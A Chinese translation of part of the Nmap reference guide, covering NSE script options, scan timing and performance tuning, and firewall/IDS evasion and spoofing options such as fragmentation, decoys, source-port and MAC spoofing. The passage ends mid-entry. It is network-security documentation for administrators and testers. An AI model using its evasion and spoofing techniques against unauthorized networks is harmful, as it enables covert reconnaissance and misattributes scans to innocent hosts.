加载名称以http-开头的所有脚本,例如http-auth和http-open-proxy。 --script的参数必须用引号引起来,以保护通配符不受shell的影响。
可以使用and、or、not运算符构建布尔表达式来完成更复杂的脚本选择。 运算符的优先级与Lua中的优先级相同[11]:not最高,其次是and,然后是or。 您可以使用括号来更改优先级。由于表达式包含空格字符,因此必须用引号引起来。
Nmap –script “not intrusive”
加载每一个脚本,除了那些侵入性类别的脚本。
Nmap –script “default or safe”
这在功能上等效于nmap -script“ default,safe”。 它加载默认类别或安全类别或两者中的所有脚本。
Nmap -script “default and safe”
加载默认和安全类别两者的那些脚本。
Nmap –script”(default or safe or intrusive) and not http-*”
以默认,安全或侵入性类别加载脚本,但名称以http-开头的脚本除外。
--script-args n1=v1,n2={n3=v3},n4={v4,v5}
使您可以为NSE脚本提供参数。参数是逗号分隔的名称=值对的列表。名称和值可以是不包含空格或字符'{'、'}'、'='或','的字符串。要将这些字符之一包含在字符串中,请将该字符串用单引号或双引号引起来。在带引号的字符串中,“ \”转义引号。在这种特殊情况下,反斜杠仅用于转义引号;在所有其他情况下,反斜杠均按字面意义进行解释。值也可以是{}中包含的表,就像Lua中一样。一个表可能包含简单的字符串值或更多的名称/值对,包括嵌套表。许多脚本用脚本名称来限定其参数,如xmpp-info.server_name。您可以使用完全限定的版本来仅影响指定的脚本,或者可以通过非限定版本(在这种情况下为server_name)来影响使用该参数名称的所有脚本。脚本在接受非限定参数名称之前,将首先检查其全限定参数名称(在文档中指定的名称)。脚本参数的一个复杂示例是--script-args 'user=foo,pass=",{}=bar",whois={whodb=nofollow+ripe},xmpp-info.server_name=localhost'。在线NSE文档https://nmap.org/nsedoc/上的门户列举了每个脚本接受的参数。
--script-args-file filename
使您可以从文件将参数加载到NSE脚本。 命令行上的所有参数都将取代文件中的参数。 该文件可以是绝对路径,也可以是相对于Nmap常规搜索路径的路径(NMAPDIR等)。参数可以用逗号分隔或换行符分隔,但在其他方面遵循与--script-args相同的规则,而无需 特殊的引号和转义,因为它们没有被shell解析。
--script-help filename|category|directory|expression|all[,…]
显示有关脚本的帮助。 对于与给定规范匹配的每个脚本,Nmap将打印脚本名称,其类别及其描述。 规范与--script接受的规范相同; 因此,例如,如果您需要有关ftp-anon脚本的帮助,则可以运行nmap --script-help ftp-anon。 除了获得单个脚本的帮助之外,您还可以将其用作针对规范运行哪些脚本的预览,例如,使用nmap --script-help default
--script-trace
此选项的作用与--packet-trace相同,仅高一层ISO。 如果指定了此选项,则将打印脚本执行的所有传入和传出通信。 显示的信息包括通信协议,源,目标和发送的数据。 如果所有传输数据的5%以上不可打印,则跟踪输出为十六进制转储格式。 指定--packet-trace也会启用脚本跟踪。
--script-updatedb
此选项更新scripts / script.db中找到的脚本数据库,Nmap使用该数据库来确定可用的默认脚本和类别。 仅当从默认脚本目录中添加或删除了NSE脚本,或者更改了任何脚本的类别时,才需要更新数据库。 通常单独使用此选项:nmap --script-updatedb。
时序和性能:
性能一直是我开发Nmap的最高优先事项之一。 我的本地网络上主机的默认扫描(nmap主机名)需要五分之一秒。 这几乎不够眨眼的时间,但当你扫描成百上千的主机时就会增加。 此外,某些扫描选项(例如UDP扫描和版本检测)会大大增加扫描时间。 某些防火墙配置也可以,尤其是响应速率限制。 尽管Nmap利用并行性和许多高级算法来加快这些扫描的速度,但用户可以完全控制Nmap的运行方式。 专业用户精心设计Nmap命令,只获得他们关心的信息,同时满足他们的时间限制。
改善扫描时间的技术包括省略非关键测试,以及升级到最新版本的Nmap(经常进行性能增强)。 优化时序参数也会产生很大的不同。 这些选项在下面列举。
一些选项接受时间参数。 默认情况下,此值以秒为单位指定,不过您可以在该值后附加“ ms”,“ s”,“ m”或“ h”以指定毫秒,秒,分钟或小时。 因此--host-timeout参数900000ms,900、900s和15m都执行相同的操作。
--min-hostgroup numhosts;--max-hostgroup numhosts(调整并行扫描组的大小)
设置 Nmap 并发端口扫描或版本扫描的最小和最大主机数。 Nmap通过将目标IP空间划分为多个组,然后一次扫描一个组来做到这一点。 通常,较大的组效率更高。缺点是,在整个组完成之前,不能提供主机结果。 因此,如果Nmap的组大小为50,则用户将不会收到任何报告(详细模式下提供的更新除外),直到前50台主机完成为止。
默认情况下,Nmap对这种冲突采取折衷方法。 它开始时的组大小低至5,因此第一个结果很快出现,然后将组大小增加到1024,具体的默认数字取决于给定的选项。 出于效率方面的考虑,Nmap将较大的组大小用于UDP或少数端口TCP扫描。
当通过--max-hostgroup指定最大组大小时,Nmap将永远不会超过该大小。 使用--min-hostgroup指定最小大小,Nmap将尝试将组大小保持在该级别之上。 如果某个接口上没有足够的目标主机来满足指定的最小值,Nmap可能不得不使用比您指定的更小的组。两者都可以被设置为把组的大小保持在一个特定的范围内,尽管这很少需要。
这些选项在扫描的主机发现阶段不起作用。 这包括普通ping扫描(-sn)。 主机发现始终在大型主机组中起作用,以提高速度和准确性。
这些选项的主要用途是指定一个大的最小组大小,以便使全面扫描运行得更快。 常见选择是256以/ 24大小的块扫描网络。 对于具有许多端口的扫描,超过该数量可能不会有太大帮助。 对于仅扫描几个端口号的情况,主机组大小为2048或更大可能会有所帮助。
--min-parallelism numprobes;--max-parallelism numprobes(调整探针并行化)
限制Nmap可能有未完成的端口扫描探测的最小或最大数量(在所有同时扫描的主机上)。
这些会影响到有多少个探测可以同时进行。在默认的ping类型(两个探针)下,并发度值大约是并发扫描的机器数量。将ping技术减少到每台主机一个探针(例如-PE),在给定的并发水平下,一次扫描的主机数量将增加一倍,而增加到每台主机四个探针(例如-PE -PS22,113,50000),则会减少一半。大多数用户只是坚持使用封装好的计时选项,如-T4。
这些选项控制主机组可能未完成的探针总数。 它们用于端口扫描和主机发现。 默认情况下,Nmap根据网络性能计算不断变化的理想并行度。 如果数据包被丢弃,则Nmap速度变慢,并允许更少的未完成探测。 随着网络证明自己价值,理想的探测数逐渐增加。 这些选项将最小或最大界限放在该变量上。 默认情况下,如果网络证明不可靠,则理想的并行度可以降为1,而在理想条件下,理想的并行度可以升至数百。
最常见的用法是将--min-parallelism设置为大于1的数字,以加快对性能较差的主机或网络进行扫描的速度。 这是一个冒险的选择,因为设置得太高可能会影响准确性。 设置此项还会降低Nmap根据网络条件动态控制并行性的能力。 一个10的值可能是合理的,尽管我只是在最后才调整这个值。
--max-parallelism选项有时设置为1,以防止Nmap一次向主机发送多个探测。 稍后讨论的--scan-delay选项是执行此操作的另一种方法。
--min-rtt-timeout time,--max-rtt-timeout time,--initial-rtt-timeout time(调整探测超时)
这些选项控制 Nmap 等待 ping 响应的时间。Nmap会保留一个运行超时值,用于确定在放弃或重新发送探测之前它将等待探测响应的时间。 基于先前探针的响应时间来计算。
Nmap等待端口扫描探测响应的最小、最大和初始时间。
如果网络延迟显示为显著的和可变的,这个超时可以增长到几秒钟。 它也从保守(高)级别开始,并且在Nmap扫描无响应的主机时可能会保持一段时间。
指定比默认值低的--max-rtt-timeout和--initial-rtt-timeout可以大大缩短扫描时间。 对于无ping(-Pn)扫描以及针对严重过滤的网络的扫描尤其如此。 不过不要太激进。 如果您指定的值太低,以至于在响应传输过程中许多探针正在超时重传,则扫描可能会花费更长的时间。
如果所有主机都在本地网络上,则100毫秒(--max-rtt-timeout 100ms)是一个合理的积极值。 如果涉及路由,请首先使用ICMP ping实用程序或更可能通过防火墙的自定义数据包处理程序(例如Nping)对网络上的主机执行ping操作。 查看十个包左右的最大往返时间。 对于--initial-rtt-timeout,您可能希望将其增加一倍,而对于--max-rtt-timeout,则可能要使其三倍或四倍。 无论ping时间多长,我通常都不会将最大RTT设置为低于100毫秒。 我也不会超过1000毫秒。
--min-rtt-timeout是一个很少使用的选项,当网络非常不可靠以至于Nmap的默认设置过于激进时,它可能会很有用。 由于Nmap仅在网络看起来可靠时才将超时降低到最小,因此这种需求是不寻常的,应作为错误报告给nmap-dev邮件列表。
--max-retries numtries(对单个端口指定端口扫描探针最大重传次数)
当Nmap没有收到对端口扫描探针的响应时,可能意味着该端口已被过滤。 或者,探测或响应只是在网络上丢失了。 目标主机也可能启用了速率限制,从而暂时阻止了响应。 因此,Nmap通过重新传输初始探测再次尝试。 如果Nmap检测到较差的网络可靠性,则可能会尝试多次,然后放弃端口。 尽管这会提高准确性,但也会延长扫描时间。 当性能至关重要时,可以通过限制允许的重传次数来加快扫描速度。
你甚至可以指定
--max-retries 0,以防止任何重传,不过这只推荐用于非正式调查等情况,在这种情况下,偶尔漏掉一些端口和主机是可以接受的。缺省值(没有-T模板)是允许十次重发。 如果网络看起来可靠并且目标主机没有速率限制,则Nmap通常只进行一次重传。 因此,大多数目标扫描甚至都不受--max-retries降至较低值(例如3)的影响。 这样的值可以显着加快对慢速(速率受限)主机的扫描。 当Nmap提前放弃端口时,通常会丢失一些信息,尽管这样做可能比使--host-timeout过期并丢失有关目标的所有信息更为可取。
--host-timeout time(放弃目标缓慢的主机)
要求 Nmap 放弃那些花费超过给定扫描时间的主机。有些主机花费很长时间进行扫描。 这可能是由于性能不佳或不可靠的网络硬件或软件,数据包速率限制或限制性防火墙引起的。 扫描的主机中最慢的占比会占用大部分的扫描时间。 有时最好减少损失,并先跳过那些主机。 将--host-timeout指定为您愿意等待的最长时间。 例如,指定30m以确保Nmap在单个主机上不会浪费超过半小时。 请注意,在该半小时内,Nmap可能会同时扫描其他主机,因此这并不是完全损耗。 超时的主机将被跳过。 没有为该主机打印端口表,操作系统检测或版本检测结果。
--script-timeout time
尽管某些脚本可以在几分之一秒内完成,但其他脚本可能要花费数小时或更长时间,具体取决于脚本的性质,传入的参数,网络和应用程序条件等。 --script-timeout选项设置脚本执行时间的上限。 超过该时间的任何脚本实例将被终止,并且不会显示任何输出。 如果启用调试(-d),则Nmap将在每次超时时报告。 对于主机和服务脚本,脚本实例仅扫描单个目标主机或端口,并且将为下一个实例重置超时时间。
--scan-delay time;--max-scan-delay time(调整探针之间的延迟)
此选项使Nmap在发送给给定主机的每个探测之间至少等待给定时间。 扫描延迟会随着Nmap检测到数据包丢失而增加,所以可以用--max-scan-delay指定一个最大值。这在速率限制的情况下特别有用。 Solaris机器(以及其他许多机器)通常每秒仅用一条ICMP消息来响应UDP扫描探测数据包。 Nmap发送的任何超过此数量都是浪费。 --scan-slays为1s将使Nmap保持该缓慢速率。 Nmap会尝试检测限速并相应地调整扫描延迟,但是如果您已经知道哪种速率最有效,明确指定它也无妨。
当Nmap向上调整扫描延迟以应对速率限制时,扫描速度会大大降低。 --max-scan-delay选项指定Nmap允许的最大延迟。 较低的--max-scan-delay可以加快Nmap的速度,但这是有风险的。 当目标实施严格的速率限制时,将此值设置得太低会导致浪费的数据包重传以及可能丢失的端口。
--scan-delay的另一种用途是逃避基于阈值的入侵检测和防御系统(IDS / IPS)。
--min-rate number;--max-rate number(直接控制扫描速度)
为Nmap每秒发送探针数分别设定下限和上限。
Nmap的动态计时可以很好地找到合适的扫描速度。 但是,有时您可能碰巧知道网络的适当扫描速率,或者可能必须保证扫描将在特定时间完成。 或者,也许您必须防止Nmap扫描得太快。 --min-rate和--max-rate选项是为这些情况而设计的。
给出--min-rate选项时,Nmap将尽最大努力以与给定速率相同或更快的速度发送数据包。 该参数是一个正实数,表示每秒的数据包速率。 例如,指定--min-rate 300表示Nmap将尝试将发送速率保持在每秒300个数据包或更高。指定一个最小速率并不妨碍Nmap在条件允许的情况下提高速度。
同样,--max-rate将扫描的发送速率限制为给定的最大值。 例如,使用--max-rate 100可以限制在快速网络上每秒发送100个数据包。 使用--max-rate 0.1可以每十秒钟缓慢扫描一个数据包。 一起使用--min-rate和--max-rate可将速率保持在一定范围内。
这两个选项是全局的,影响整个扫描,而不是单个主机。 它们仅影响端口扫描和主机发现扫描。 其他功能(例如OS检测)也实现了自己的计时。
在两种情况下,实际扫描速率可能会低于要求的最小值。 首先是最小值是否比Nmap可以发送的最快速率快,这取决于硬件。 在这种情况下,Nmap只会尽可能快地发送数据包,但是请注意,如此高速率可能会导致准确性下降。 第二种情况是当Nmap无法发送任何内容时,例如,在扫描结束时,当最后的探测已发送并且Nmap正在等待它们超时或响应时。 在扫描结束时或在主机组之间看到扫描速率下降是正常的。 发送速率可能会暂时超过最大值,以弥补不可预测的延迟,但平均而言,速率将保持在最大值以下。
指定最低速率时应格外小心。 扫描速度超过网络可以支持的速度,可能会导致准确性下降。 在某些情况下,使用较快的速率会使扫描的时间比使用较慢的速率要长。 这是因为Nmap的自适应重传算法将检测到由过高的扫描速率引起的网络拥塞,并增加了重传次数以提高准确性。 因此,即使数据包以较高的速率发送,总体上也会发送更多的数据包。如果你需要对总的扫描时间设置一个上限,可以使用 --max-retries 选项来限制重传的数量。
--defeat-rst-ratelimit
许多主机长期使用速率限制来减少其发送的ICMP错误消息(例如端口不可到达的错误)的数量。 现在,某些系统将类似的速率限制应用于它们生成的RST(重置)数据包。 这会大大降低Nmap的速度,因为它会调整其时间以反映这些速率限制。 您可以通过指定--defeat-rst-ratelimit来告诉Nmap忽略那些速率限制(对于SYN扫描等端口扫描,它们不会将无响应端口视为开放端口)。
使用这个选项可能会降低准确性,因为一些端口会出现无响应,因为Nmap没有等待足够长的时间来获得限速RST响应。 通过SYN扫描,无响应导致端口被标记为已过滤,而不是我们在收到RST数据包时看到的关闭状态。 当您只关心开放端口,而区分关闭端口和过滤端口并不值得花费额外时间时,此选项很有用。
--defeat-icmp-ratelimit
与--defeat-rst-ratelimit类似,--defeat-icmp-ratelimit选项用准确性换取速度,增加对限制ICMP错误信息的主机的UDP扫描速度。 因为此选项使Nmap不会为接收端口不可达消息而延迟,一个无响应的端口将被标记为关闭|过滤,而不是默认的打开|过滤。 这样做的效果是只把通过UDP实际响应的端口视为开放。由于许多UDP服务不以这种方式响应,使用这个选项比使用-defeat-rst-ratelimit更有可能出现不准确的情况。
--nsock-engine epoll|kqueue|poll|select
强制使用一个给定的nsock IO复用引擎。只有基于select(2)的后备引擎才能保证在你的系统上可用。引擎是以它们利用的IO管理设施的名字命名的。目前实现的引擎有epoll, kqueue, poll,和select,但不是所有平台上都会有的。默认情况下,Nmap将使用 "最佳 "引擎,即这个列表中第一个被支持的引擎。用nmap -V看看哪些引擎在您的平台上被支持。
-T paranoid|sneaky|polite|normal|aggressive|insane(设置定时模板)或
-T0到-
T5
更高的-T值会加速ping扫描,同时它们也加速其他Nmap功能。如果源网络和目标网络之间有中等速度的可靠连接(即任何超过拨号调制解调器的连接),推荐使用-T4选项。
尽管上一节中讨论的细粒度定时控件功能强大且有效,但有些人却感到困惑。 此外,此外,选择适当的值有时会比你试图优化的扫描花费更多的时间。 幸运的是,Nmap提供了一种更简单的方法,具有六个时间模板。 您可以使用-T选项及其编号(0–5)或名称来指定它们。 模板名称是paranoid(0)、sneaky(1)、polite(2)、normal(3)、aggressive(4)和insane(5)。 前两个用于逃避IDS。 礼貌模式会降低扫描速度,以使用更少的带宽和目标机器资源。 普通模式是默认模式,因此-T3不执行任何操作。 通过假设您处在一个相当快速和可靠的网络上,激进模式可以加快扫描速度。 最终,疯狂模式假设您使用的是非常快速的网络,或者愿意牺牲一些准确性来提高速度。
这些计时模板影响许多变量,提供一个简单的方法来调整Nmap的整体速度,从非常慢(-T0)到非常积极(-T5)。这些模板允许用户指定自己希望的积极程度,同时让Nmap选择准确的时间值。这些模板还做了一些细微的速度调整,目前还没有细粒度的控制选项。 例如,-T4禁止TCP端口的动态扫描延迟超过10毫秒,而-T5则将其值限制为5毫秒。 模板可以与细粒度控件组合使用,并且您指定的细粒度控件将优先于该参数的时间模板默认值。我建议在扫描相当现代和可靠的网络时使用-T4。即使你添加了细粒度的控制,也要保留这个选项,这样你就能从那些额外的小优化中受益。
如果您使用的是正规的宽带或以太网连接,建议您始终使用-T4。有些人喜欢-T5,尽管它对我来说过于激进。 人们有时会指定-T2,是因为他们认为主机崩溃的可能性较小,或者因为他们通常认为自己很有礼貌。 他们常常没有意识到-T polite到底有多慢。 他们的扫描可能比默认扫描花费十倍的时间。 默认定时选项(-T3)很少出现机器崩溃和带宽问题,因此对于谨慎的扫描器,我通常建议您这样做。 在减少这些问题方面,省略版本检测远比玩计时器值更有效。
虽然-T0和-T1对于避免IDS警报可能很有用,但它们将花费非常长的时间来扫描数千台计算机或端口。 对于这么长的扫描,你可能更愿意设置你所需要的精确的定时值,而不是依赖罐装的-T0和-T1值。
T0的主要作用是序列化扫描,因此一次仅扫描一个端口,并且在发送每个探针之间等待五分钟。 T1和T2相似,但是它们在探针之间仅分别等待15秒和0.4秒。 T3是Nmap的默认行为,其中包括并行化。 -T4等效于--max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6,并将最大TCP和SCTP扫描延迟设置为10毫秒。 T5相当于--max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --script-timeout 10m以及 将最大TCP扫描延迟设置为5毫秒。
防火墙/IDS规避和欺骗:
许多互联网先驱者设想了一个全球开放的网络,其通用IP地址空间允许任何两个节点之间的虚拟连接。 这样主机就可以充当真正的对等体,互相提供服务并检索信息。 人们可以在下班时访问其所有家庭系统,更改气候控制设置或为早到宾客打开门。 这种普遍连接的愿景已经被地址空间的短缺和安全问题所扼杀。 在1990年代初,组织开始部署防火墙,其明确目的是减少连接。巨大的网络被应用代理、网络地址转换和数据包过滤器从未经过滤的互联网上封锁起来。 不受限制的信息流让位于通过批准的通信渠道和内容的严格监管。
诸如防火墙之类的网络障碍会使网络映射变得异常困难。 因为扼杀随意侦查往往是实施这些设备的一个关键目标,这将变得不那么容易。 尽管如此,Nmap提供了许多功能来帮助理解这些复杂的网络,并验证过滤器是否按预期工作。 它甚至支持绕过执行不力的防御的机制。了解您的网络安全态势的最佳方法之一就是设法击败它。 将自己置于攻击者的思维定势中,然后针对您的网络部署本节中的技术。 启动FTP反弹扫描,空闲扫描,碎片攻击,或尝试通过自己的代理进行隧道传输。
除了限制网络活动外,公司越来越多地使用入侵检测系统(IDS)监视流量。 所有主流的IDS都附带有旨在检测Nmap扫描的规则,因为扫描有时是攻击的前兆。 这些产品中的许多最近已经演变成入侵防御系统(IPS),主动阻止被视为恶意的流量。 不幸的是,对于网络管理员和IDS供应商而言,通过分析数据包数据来可靠地检测不良意图是一个难题。 攻击者只要有耐心、技巧和某些Nmap选项的帮助,通常可以通过IDS而不被察觉。同时,管理员必须应付大量的假阳性结果,即无辜的活动被误诊,被警告或被阻止。
有时,人们建议Nmap不应提供规避防火墙规则或躲避IDS的功能。他们争辩说,这些功能被攻击者滥用的可能性和被管理员用来提高安全性的可能性一样大。 这种逻辑的问题在于,攻击者仍然会使用这些方法,攻击者只会找到其他工具或将功能修补到Nmap中。 同时,管理员会发现很难完成工作。 与试图阻止分发实施FTP反弹攻击的工具相比,仅部署经过修补的现代FTP服务器要强大得多。
没有用于检测和破坏防火墙和IDS系统的魔术子弹(或Nmap选项)。 这需要技巧和经验。 教程超出了本参考指南的范围,该指南仅列举了相关选项并描述了它们的作用。
-f (分片数据包);--mtu (使用指定的MTU)
-f选项使请求的扫描(包括主机发现扫描)使用微小的分片IP数 据包。这样做的目的是将TCP标头拆分为几个数据包,以使数据包过滤器,入侵检测系统和其他麻烦的东西更难检测到您正在做的事情。注意这一点!某些程序在处理这些微小数据包时有问题。名为Sniffit分段的老式嗅探器在收到第一个分段后立即出现故障。指定此选项一次,Nmap会将数据包拆分为IP报头后的八个字节或更少的字节。因此,一个20字节的TCP标头将分成三个数据包。两个带有8个字节的TCP标头,一个带有最后四个字节。当然,每个分片也都有一个IP标头。再次指定-f,每个片段使用16字节(减少分片的数量)。 或者可以使用——mtu选项指定自己的偏移大小。如果使用--mtu,就不要指定-f。偏移量必须是八的倍数。尽管所有IP分片排队的数据包过滤器和防火墙将无法获得分片数据包,例如Linux内核中的CONFIG_IP_ALWAYS_DEFRAG选项,一些网络无法承受这样的性能冲击,因此将其禁用。其他人则无法启用此功能,因为分片可能会采用不同的路由进入其网络。一些源系统对内核中的传出数据包进行分片重组。带有iptables连接跟踪模块的Linux就是这样一个例子。在嗅探器(如Wireshark)运行时做一次扫描,以确保发送的数据包是分片的。如果你的主机操作系统造成了问题,可以尝试使用-send-eth选项绕过IP层并发送原始的以太网帧。
仅Nmap的原始数据包功能支持分片,其中包括TCP和UDP端口扫描(除了连接扫描和FTP反弹扫描)和操作系统检测。 版本检测和Nmap脚本引擎之类的功能通常不支持分片,因为它们依赖主机的TCP栈与目标服务进行通信。
-D decoy1[,decoy2][,ME][,…]( 用诱饵掩盖扫描)
诱饵完全支持特权IPv4 ping扫描,伪装真正的攻击者。执行诱饵扫描的原因是使远程主机认为您指定为诱饵的主机也在扫描目标网络。 因此,他们的IDS可能会报告来自唯一IP地址的5-10端口扫描,但他们不会知道哪个IP正在扫描它们,哪些是无辜的诱饵。 尽管这可以通过路由器路径跟踪,响应丢弃和其他活动机制来克服,但通常它是隐藏IP地址的有效技术。
用逗号分隔每个诱饵主机,您可以选择将ME用作诱饵之一,以表示您的真实IP地址的身份。 如果将ME置于第六位或更高位置,则某些常见的反端口扫描检测器(例如Solar Designer出色的Scanlogd)根本不可能显示您的IP地址。 如果您不使用ME,Nmap会将您置于随机位置。 您也可以使用RND生成一个随机的非保留IP地址,或使用RND:number生成数字地址。
请注意,用作诱饵的主机应处于启动状态,或者您可能会意外地SYN泛洪目标。另外,如果网络上实际上只有一台主机在扫描,那么就很容易确定哪台主机在扫描。你可能想使用IP地址而不是名字(所以诱饵网络不会在他们的名字服务器日志中看到你)。 目前,仅IPv4支持随机IP地址生成。
在初始主机发现扫描(使用ICMP,SYN,ACK或其他方法)和实际端口扫描阶段都使用了诱饵。 在操作系统检测(-O)期间,还会使用诱饵。 诱饵不适用于版本检测或TCP连接扫描。 当扫描延迟生效时,该延迟在每一批欺骗探针之间强制执行的而不是在每个单独的探针之间。 由于诱饵是一次全部发送的,因此它们可能会暂时违反拥塞控制限制。
值得注意的是,使用过多的诱饵可能会降低扫描速度,甚至可能使扫描精度降低。 另外,某些ISP会过滤掉您的欺骗数据包,但是许多ISP完全不限制欺骗IP数据包。
在某些情况下,Nmap可能无法确定您的源地址(如果是这种情况,Nmap会告诉您)。 在这种情况下,请将-S与您希望通过其发送数据包的接口的IP地址一起使用。
此标志的另一种可能用途是欺骗扫描,以使目标认为其他人正在对其进行扫描。 想象一家公司被竞争对手反复端口扫描! 这种用法通常需要-e选项和-Pn。 请注意,您通常不会收到回复数据包(它们将发送到您正在欺骗的IP),因此Nmap不会生成有用的报告。
-e
<sending device interface name>
(使用指定的接口)告诉Nmap在哪个接口上发送和接收数据包。 Nmap应该能够自动检测到这一点,但如果不能,它会告诉您。
--source-port portnumber;-g portnumber(欺骗源端口号)
设置一个固定的源端口工作于ping扫描(TCP和UDP),同时用于Nmap的其它功能。一些天真的防火墙管理员为了让DNS (端口53)或FTP-DATA (端口20)工作而做了一个规则集例外。当然,这打开了一个足以驱动Nmap ping扫描的洞。"源端口操纵 "一节提供了关于这个技术的进一步细节。
一个令人惊讶的常见错误配置是只根据源端口号来信任流量。 很容易理解这是如何发生的。管理员将设置一个闪亮的新防火墙,但却被不知感恩的用户的投诉所淹没,他们的应用程序停止工作。 特别是,DNS可能会被破坏,因为来自外部服务器的UDP DNS答复无法再进入网络。 FTP是另一个常见示例。 在活动的FTP传输中,远程服务器尝试建立回客户端的连接以传输请求的文件。
这些问题的安全解决方案是存在的,通常是以应用级的代理或协议解析的防火墙模块的形式存在。 不幸的是,还有更简单,不安全的解决方案。 DNS答复来自端口53,活动FTP来自端口20,许多管理员陷入了简单地允许来自那些端口的传入流量的陷阱。 他们通常认为没有攻击者会注意到并利用这种防火墙漏洞。 在其他情况下,管理员可以认为这是短期的权宜之计,直到他们可以实施更安全的解决方案为止。 然后他们忘记了安全升级。
过度劳累的网络管理员并不是唯一陷入此陷阱的人。 许多产品在出厂时都有这些不安全的规则。即使是微软也有罪。 Windows 2000和Windows XP附带的IPsec过滤器包含一个隐式规则,该规则允许来自端口88(Kerberos)的所有TCP或UDP通信。 在另一个众所周知的案例中,Zone Alarm个人防火墙在2.1.25之前的版本允许任何源端口为53(DNS)或67(DHCP)的传入UDP数据包。
Nmap提供了-g和--source-port选项(它们等效)来利用这些弱点。 只需提供一个端口号,Nmap就会在可能的情况下从该端口发送数据包。 大多数使用原始套接字的扫描操作(包括SYN和UDP扫描)都完全支持该选项。 该选项显然对任何使用正常操作系统套接字的操作没有影响,包括DNS请求、TCP连接扫描、版本检测和脚本扫描。 设置源端口也不适用于OS检测,因为Nmap必须使用不同的端口号才能使某些OS检测测试正常工作。
--data hex string(将自定义二进制数据附加到发送的数据包)
此选项使您可以将二进制数据作为有效载荷包含在发送的数据包中。 十六进制字符串可以以以下任何格式指定:0xAABBCCDDEEFF ...,AABBCCDDEEFF ...或\ xAA \ xBB \ xCC \ xDD \ xEE \ xFF...。使用的示例是--data 0xdeadbeef和--data \ xCA \ xFE \ x09。 请注意,如果您指定一个数字,例如0x00ff,则不执行字节顺序转换。 确保以接收者期望的字节顺序指定信息。
--data-string string (将自定义字符串附加到发送的数据包)
此选项使您可以在发送的数据包中包含常规字符串作为有效负载。 字符串可以包含任何字符串。 但是,请注意,某些字符可能取决于您系统的区域设置,并且接收者可能看不到相同的信息。 另外,请确保将字符串用双引号引起来,并在shell中转义任何特殊字符。 示例:--data-string "Scan conducted by Security Ops, extension 7192"或--data-string "Ph34r my l33t skills"。 请记住,除非他们使用嗅探器或自定义IDS规则仔细监视网络,否则没人会看到该选项留下的任何注释。
--data-length number (将随机数据附加到发送的数据包)
这个选项在每个数据包中添加<length>随机字节的数据,并且适用于TCP、UDP和ICMP ping扫描类型(对于扫描IPv4的特权用户)。这有助于使扫描不那么显眼,更像无处不在的ping诊断程序所产生的数据包。一些入侵检测系统(IDS),包括Snort,对零字节的ping数据包有警报。这个选项可以逃避这些警报。选项值为32使回显请求看起来更像来自Windows,而56模拟默认的Linux ping。
通常,Nmap发送仅包含标头的极简数据包。 因此,其TCP数据包通常为40个字节,ICMP回显请求仅为28个。默认情况下,某些UDP端口和IP协议会获得自定义有效负载。 此选项告诉Nmap将给定数量的随机字节附加到它发送的大多数数据包中,而不使用任何协议特有的有效负载。 (使用 --data-length 0 表示非随机或特有协议的有效载荷。 操作系统检测(-O)数据包不受影响,因为准确性需要探针的稳定性,但大多数pinging和portcan数据包都支持此功能。它使事情变慢了一点,但可以使扫描稍微不那么明显。
--ip-options S|R [route] |L [route] |T|U …;--ip—options hex string(发送具有指定IP选项的数据包)
IP协议[12]提供了几个选项,可以将其放置在数据包头中。 与无处不在的TCP选项不同,由于实用性和安全性问题,很少看到IP选项。 实际上,许多Internet路由器会阻止最危险的选择,例如源路由。 但是,在某些情况下,选项对于确定和操作到目标计算机的网络路由仍然有用。 例如,即使更传统的traceroute样式方法失败,您也可以使用record route选项来确定到目标的路径。 或者,如果您的数据包被某个防火墙丢弃,则可以使用严格或宽松的源路由选项来指定其他路由。
指定IP选项的最强大方法是简单地将值作为--ip-options的参数传递。 在每个十六进制数字之前加\ x,然后再加上两位数字。 您可以通过以下方式重复某些字符:方法是在它们后面加上星号,然后再加上你希望它们重复的次数。 例如,\ x01 \ x07 \ x04 \ x00 * 36 \ x01是包含36个NUL字节的十六进制字符串。
Nmap还提供了用于指定选项的快捷方式机制。 只需传递字母R,T或U分别一起请求记录路由,记录时间戳或这两个选项。 松散或严格的源路由可以用L或S指定,后跟一个空格,然后是一个用空格分隔的IP地址列表。
如果希望查看发送和接收的数据包中的选项,请指定--packet-trace。 有关在Nmap中使用IP选项的更多信息和示例,请参见http://seclists.org/nmap-dev/2006/q3/52。
--ttl value(设置IP生存时间字段)
将发送数据包中的IPv4生存时间字段设置为给定值。对于进行IPv4 ping扫描的特权用户,支持设置外发TTL。这可以作为一种安全预防措施,确保扫描不会传播到本地网络之外。它也可以用来模拟本地ping程序,甚至更有说服力。(译者注:win或者linux进行ping都有固定的ttl值)一些企业网络受到已知的路由环路的影响,他们不容易修复。用--ttl减少出站的TTL,有助于在遇到环路时减少路由器的CPU负载。
--randomize-hosts (随机化目标主机顺序)
使用这个选项打乱主机的扫描顺序可能使扫描不那么显眼,但也可能使扫描输出有点难以理解。告诉Nmap在扫描每一组多达16384台主机之前对它们进行乱序。 这可以使扫描在各种网络监视系统中不那么明显,尤其是将其与较慢的计时选项结合使用时。 如果要随机化分配较大的组,请在nmap.h中增加PING_GROUP_SZ并重新编译。 另一种解决方案是使用列表扫描(-sL -n -oN文件名)生成目标IP列表,使用Perl脚本将其随机化,然后使用-iL将整个列表提供给Nmap。
--spoof-mac MAC address,prefix,or vendor name(欺骗mac地址)
要求Nmap对它发送的所有原始以太网帧使用给定的MAC地址。此选项暗示--send-eth以确保Nmap实际上发送以太网级别的数据包。给定的MAC可以采用几种格式。如果只是数字0,则Nmap为会话选择一个完全随机的MAC地址。如果给定的字符串是偶数个十六进制数字(两对数字之间可选用冒号分隔),则Nmap会将其用作MAC。如果提供的十六进制数字少于12个,则Nmap用随机值填充六个字节的其余部分。如果参数不是零或十六进制字符串,则Nmap会通过nmap-mac-prefix来查找包含给定字符串的供应商名称(不区分大小写)。如果找到匹配项,则Nmap使用供应商的OUI(三字节前缀)并随机填写剩余的三个字节。有效的--spoof-mac参数示例是Apple,0、01:02:03:04:05:06,deadbeefcafe,0020F2和Cisco。此选项仅影响原始数据包扫描(例如SYN扫描或OS检测),而不影响面向连接的功能(例如版本检测或Nmap脚本引擎)。
--proxies Comma-separated list of proxy URLs(通过代理链中继TCP连接)
